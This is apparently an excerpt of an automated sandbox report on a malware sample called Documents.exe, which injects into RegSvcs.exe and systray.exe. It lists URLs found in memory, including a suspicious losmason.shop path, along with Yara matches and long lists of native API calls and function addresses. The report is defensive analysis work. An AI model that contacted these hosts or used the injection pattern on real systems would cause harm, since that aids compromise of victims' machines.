Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/trustpilot.svg
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/jquery-3.6.0.min.js?20240925050808
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/modernizr-webp.js?20240925050808
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/pricing.js?20240925050808
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_concierge_service.htm?query=carpentry.club&utm_campaign=parked-page
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/external_links.htm
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/gmail_email_aliases.htm
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/resource_center.htm
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=ca
Source: Documents.exe, uFEeKIucsX.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: systray.exe, 00000011.00000002.4500910385.0000000005248000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003398000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY
Source: systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ziyuan.baidu.com/image.gif

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.4500125760.00000000042A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4498734635.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4500198635.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2339787064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4502147682.00000000050C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2340363739.0000000001450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2342055723.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4500549685.0000000002670000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: Documents.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042C7C3 NtClose,	9_2_0042C7C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522B60 NtClose,LdrInitializeThunk,	9_2_01522B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_01522DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_01522C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015235C0 NtCreateMutant,LdrInitializeThunk,	9_2_015235C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01524340 NtSetContextThread,	9_2_01524340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01524650 NtSuspendThread,	9_2_01524650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522BF0 NtAllocateVirtualMemory,	9_2_01522BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522BE0 NtQueryValueKey,	9_2_01522BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522B80 NtQueryInformationFile,	9_2_01522B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522BA0 NtEnumerateValueKey,	9_2_01522BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522AD0 NtReadFile,	9_2_01522AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522AF0 NtWriteFile,	9_2_01522AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522AB0 NtWaitForSingleObject,	9_2_01522AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522D10 NtMapViewOfSection,	9_2_01522D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522D00 NtSetInformationFile,	9_2_01522D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522D30 NtUnmapViewOfSection,	9_2_01522D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522DD0 NtDelayExecution,	9_2_01522DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522DB0 NtEnumerateKey,	9_2_01522DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522C60 NtCreateKey,	9_2_01522C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522C00 NtQueryInformationProcess,	9_2_01522C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522CC0 NtQueryVirtualMemory,	9_2_01522CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522CF0 NtOpenProcess,	9_2_01522CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522CA0 NtQueryInformationToken,	9_2_01522CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522F60 NtCreateProcessEx,	9_2_01522F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522F30 NtCreateSection,	9_2_01522F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522FE0 NtCreateFile,	9_2_01522FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522F90 NtProtectVirtualMemory,	9_2_01522F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522FB0 NtResumeThread,	9_2_01522FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522FA0 NtQuerySection,	9_2_01522FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522E30 NtWriteVirtualMemory,	9_2_01522E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522EE0 NtQueueApcThread,	9_2_01522EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522E80 NtReadVirtualMemory,	9_2_01522E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522EA0 NtAdjustPrivilegesToken,	9_2_01522EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01523010 NtOpenDirectoryObject,	9_2_01523010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01523090 NtSetValueKey,	9_2_01523090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015239B0 NtGetContextThread,	9_2_015239B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01523D70 NtOpenThread,	9_2_01523D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01523D10 NtOpenProcessToken,	9_2_01523D10

Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_031F43E8	0_2_031F43E8
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_031FE094	0_2_031FE094
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_031F7051	0_2_031F7051
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F19518	0_2_05F19518
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F19508	0_2_05F19508
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F17490	0_2_05F17490
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F17481	0_2_05F17481
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F17058	0_2_05F17058
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F17049	0_2_05F17049
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F178C8	0_2_05F178C8
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F18B68	0_2_05F18B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004186D3	9_2_004186D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004168C3	9_2_004168C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040E0C3	9_2_0040E0C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004100E3	9_2_004100E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004168BE	9_2_004168BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004011B0	9_2_004011B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040E25C	9_2_0040E25C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00401A00	9_2_00401A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040E207	9_2_0040E207
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040E213	9_2_0040E213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00402B50	9_2_00402B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00404356	9_2_00404356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042EDF3	9_2_0042EDF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040FEC3	9_2_0040FEC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00402690	9_2_00402690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00402F30	9_2_00402F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01578158	9_2_01578158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158A118	9_2_0158A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0100	9_2_014E0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A81CC	9_2_015A81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B01AA	9_2_015B01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A41A2	9_2_015A41A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AA352	9_2_015AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B03E6	9_2_015B03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE3F0	9_2_014FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015702C0	9_2_015702C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B0591	9_2_015B0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A2446	9_2_015A2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01594420	9_2_01594420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159E4F6	9_2_0159E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01514750	9_2_01514750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EC7C0	9_2_014EC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150C6E0	9_2_0150C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01506962	9_2_01506962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015BA9A6	9_2_015BA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F2840	9_2_014F2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FA840	9_2_014FA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E8F0	9_2_0151E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D68B8	9_2_014D68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AAB40	9_2_015AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A6BD7	9_2_015A6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158CD1F	9_2_0158CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FAD00	9_2_014FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EADE0	9_2_014EADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01508DBF	9_2_01508DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0C00	9_2_014F0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0CF2	9_2_014E0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590CB5	9_2_01590CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01564F40	9_2_01564F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01510F30	9_2_01510F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01592F30	9_2_01592F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01532F28	9_2_01532F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E2FC8	9_2_014E2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FCFE0	9_2_014FCFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156EFA0	9_2_0156EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0E59	9_2_014F0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AEE26	9_2_015AEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AEEDB	9_2_015AEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502E90	9_2_01502E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015ACE93	9_2_015ACE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015BB16B	9_2_015BB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0152516C	9_2_0152516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DF172	9_2_014DF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FB1B0	9_2_014FB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F70C0	9_2_014F70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159F0CC	9_2_0159F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A70E9	9_2_015A70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AF0E0	9_2_015AF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DD34C	9_2_014DD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A132D	9_2_015A132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0153739A	9_2_0153739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150B2C0	9_2_0150B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015912ED	9_2_015912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F52A0	9_2_014F52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A7571	9_2_015A7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158D5B0	9_2_0158D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E1460	9_2_014E1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AF43F	9_2_015AF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AF7B0	9_2_015AF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A16CC	9_2_015A16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150B950	9_2_0150B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F9950	9_2_014F9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01585910	9_2_01585910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155D800	9_2_0155D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F38E0	9_2_014F38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AFB76	9_2_015AFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01565BF0	9_2_01565BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0152DBF9	9_2_0152DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150FB80	9_2_0150FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AFA49	9_2_015AFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A7A46	9_2_015A7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01563A6C	9_2_01563A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159DAC6	9_2_0159DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01535AA0	9_2_01535AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158DAAC	9_2_0158DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01591AA3	9_2_01591AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A1D5A	9_2_015A1D5A
